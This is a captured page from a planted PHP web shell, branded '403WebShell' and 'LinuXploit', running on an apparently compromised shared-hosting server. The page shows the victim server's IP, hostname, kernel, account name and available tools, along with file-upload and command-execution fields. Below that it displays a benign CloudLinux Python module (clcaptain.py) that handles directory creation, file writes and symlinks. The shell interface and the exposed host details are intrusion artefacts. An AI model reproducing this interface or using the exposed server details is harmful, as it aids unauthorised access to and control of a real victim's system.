Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.142.55.138
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cloudlinux/venv/lib64/python3.11/site-packages/clcommon/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cloudlinux/venv/lib64/python3.11/site-packages/clcommon/clcaptain.py
# -*- coding: utf-8 -*-

# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2018 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT
#

import os
import errno
from subprocess import Popen, PIPE
from clcommon.utils import ExternalProgramFailed

CAPTAIN_PATH = '/usr/share/python-cllib/cl.captain'


def captain(do_try, cmd, stdin=None):
    try:
        do_try()
    except (OSError, IOError) as e:
        if e.errno == errno.EDQUOT and os.geteuid() > 0:
            command = [CAPTAIN_PATH] + [str(s) for s in cmd]
            with Popen(
                command,
                stdin=None if stdin is None else PIPE,
                stdout=PIPE,
                stderr=PIPE,
                text=True,
            ) as proc:
                if stdin is None:
                    std_out, std_err = proc.communicate()
                else:
                    std_out, std_err = proc.communicate(stdin)

                if proc.returncode != 0:
                    raise ExternalProgramFailed(
                        std_err or f'output of "{command}": {std_out}'
                    ) from e
        else:
            raise


def mkdir(path, mode=0o755, recursive=False):
    umask = os.umask(0)
    if recursive:
        collector = "/"
        for subdir in path.split("/"):
            collector = os.path.join(collector, subdir)
            if os.path.exists(collector):
                continue
            captain(lambda: os.mkdir(collector, mode), ['-d', collector, '-m', f'{mode:o}'])
    else:
        captain(lambda: os.mkdir(path, mode), ['-d', path, '-m', f'{mode:o}'])
    os.umask(umask)


def write(path, content=''):
    def do_try():
        with open(path, 'w', encoding='utf-8') as fp:
            fp.write(content)
            fp.flush()
            os.fsync(fp.fileno())

    captain(do_try, ['-f', path], content)


def symlink(src, dst):
    captain(lambda: os.symlink(src, dst), ['-l', dst, '-s', src])

Youez - 2016 - github.com/yon3zu
LinuXploit